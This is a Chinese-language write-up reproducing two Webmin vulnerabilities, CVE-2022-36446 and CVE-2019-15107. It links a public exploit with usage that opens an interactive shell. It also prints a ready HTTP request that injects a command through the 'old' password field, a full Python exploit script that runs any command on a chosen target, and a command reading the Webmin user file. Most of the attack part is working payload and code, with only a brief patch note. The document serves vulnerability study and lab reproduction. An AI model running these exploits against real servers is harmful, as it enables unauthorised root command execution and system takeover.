1.CVE-2022-36446(webmin命令注入漏洞复现)
webmin简介:
```
Webmin是一款功能强大的基于Web的Unix系统管理工具,管理员可以通过浏览器访问Webmin的各种管理功能并完成相应的管理动作。Webmin版本1.997之前,存在命令注入将实现在系统上以 root 权限运行命令
```
漏洞危害级别:
```
高危
命令注入
```
漏洞影响版本及编号
```
webmin < 1.997
```
漏洞环境搭建
webmin是一款开源的unix系统管理工具,我们可以在github上进行下载,下载之前的历史版本即可
[下载地址](https://github.com/webmin/webmin/releases?page=2)
将源码放置到服务器上进行解压即可,解压完成之后就可以看到相关的源码包内容了

安装运行脚本./setup.sh即可

这边配置的是8082端口加ssl进行相关配置和认证登录

此RCE是后台RCE,需要知道webmin的登录用户和密码才能实现利用,exp/POC利用脚本如下所示:
[webmin的EXP下载地址](https://github.com/p0dalirius/CVE-2022-36446-Webmin-Software-Package-Updates-RCE)

```
使用方法:
python ./CVE-2022-36446.py -t <target> -u <user> -p <pass> -k -I #执行成功之后会获取到一个交互式的shell
```

漏洞修复方式
目前此漏洞已经修复,受影响用户可更新到Webmin 1.997或更高版本。
下载链接:
https://webmin.com/
2.CVE-2019-15107(webmin未授权RCE漏洞)
前言:
```
Webmin是一个基于Web的界面,用于Unix的系统管理。使用任何支持表和表单的浏览器,可以设置用户帐户,Apache,DNS,文件共享等
```
这边先借助于vulhub平台进行漏洞复现,本次复现的webmin版本的为1.910,属于漏洞影响版本范围内

漏洞产生原因:
```
该漏洞由于`password_change.cgi`文件在重置密码功能中存在一个代码执行漏洞,该漏洞允许恶意第三方在缺少输入验证的情况下而执行恶意代码,后经知道创宇404实验室发现,该漏洞的存在实则是sourceforge上某些版本的安装包和源码被植入了后门导致的
```
漏洞影响版本:
```
1.890 <= webmin <= 1.920
```
漏洞触发点:
```
/password-change.cgi #漏洞影响页面
```
漏洞触发的数据包如下所示:
```
POST /password_change.cgi HTTP/1.1
Host: your-ip:10000
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Cookie: redirect=1; testing=1; sid=x; sessiontest=1
Referer: https://your-ip:10000/session_login.cgi
Content-Type: application/x-www-form-urlencoded
Content-Length: 60
user=rootxx&pam=&expired=2&old=test|id&new1=test2&new2=test2 #执行id命令
```
用户的密码文件如下所示,webmin支持系统用户和自定义管理员用户进行后台管理处的登录:
```
cat /etc/webmin/webmin-1.920/miniserv.users #查看的结果
root:x #结果
```
将数据包进行修改,然后提交到相关目标进行执行,这样就可以看到相关的结果,以下是自己改写的python3代码的EXP/POC
```python
#-*- coding:utf-8 -*-
import requests
from optparse import OptionParser
import re
import requests.packages.urllib3
requests.packages.urllib3.disable_warnings()
def usage():
print(
'''
python ./cve-2019-15107.py -t <target> -c <cmd>
Author: Arenid
'''
)
def req_exec(target,cmd):
if target == "" or target == None:
print("请输入需要测试的目标!!")
return False
if cmd == "" or cmd == None:
print("请输入需要执行的命令!!")
return False
proxies = {
'http':'127.0.0.1:8080',
'https':'127.0.0.1:8080'
}
headers = {
'Accept-Encoding': "gzip, deflate",
'Accept': "*/*",
'Accept-Language': "en",
'User-Agent': "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)",
'Connection': "close",
'Cookie': "redirect=1; testing=1; sid=x; sessiontest=1",
'Referer': "%s/session_login.cgi"%target,
'Content-Type': "application/x-www-form-urlencoded",
'Content-Length': "60",
'cache-control': "no-cache"
}
data = {
'user':'rootxx',
'pam':'',
'expired':'2',
'old':'test|%s'%cmd ,
'new1':'test2',
'new2':'test2'
}
target_url = target + '/password_change.cgi'
res = requests.post(target_url,headers=headers,data=data,proxies=proxies,verify=False)
if res.status_code == 200:
m = re.compile(r"<center><h3>Failed to change password : The current password is incorrect(.*)</h3></center>", re.DOTALL)
cmd_result = m.findall(res.text)[0]
print(cmd_result)
def main():
parser = OptionParser(usage=usage())
parser.add_option("-t", dest="target",type='string', help="input your target url")
parser.add_option("-c", dest="command",type='string', help="input your target cmd")
(options, args) = parser.parse_args()
req_exec(options.target,options.command)
if __name__ == '__main__':
main()
```

到此漏洞复现结束,坚持漏洞复现,塑造更好的自己,加油!!没有网络安全就没有国家安全!!!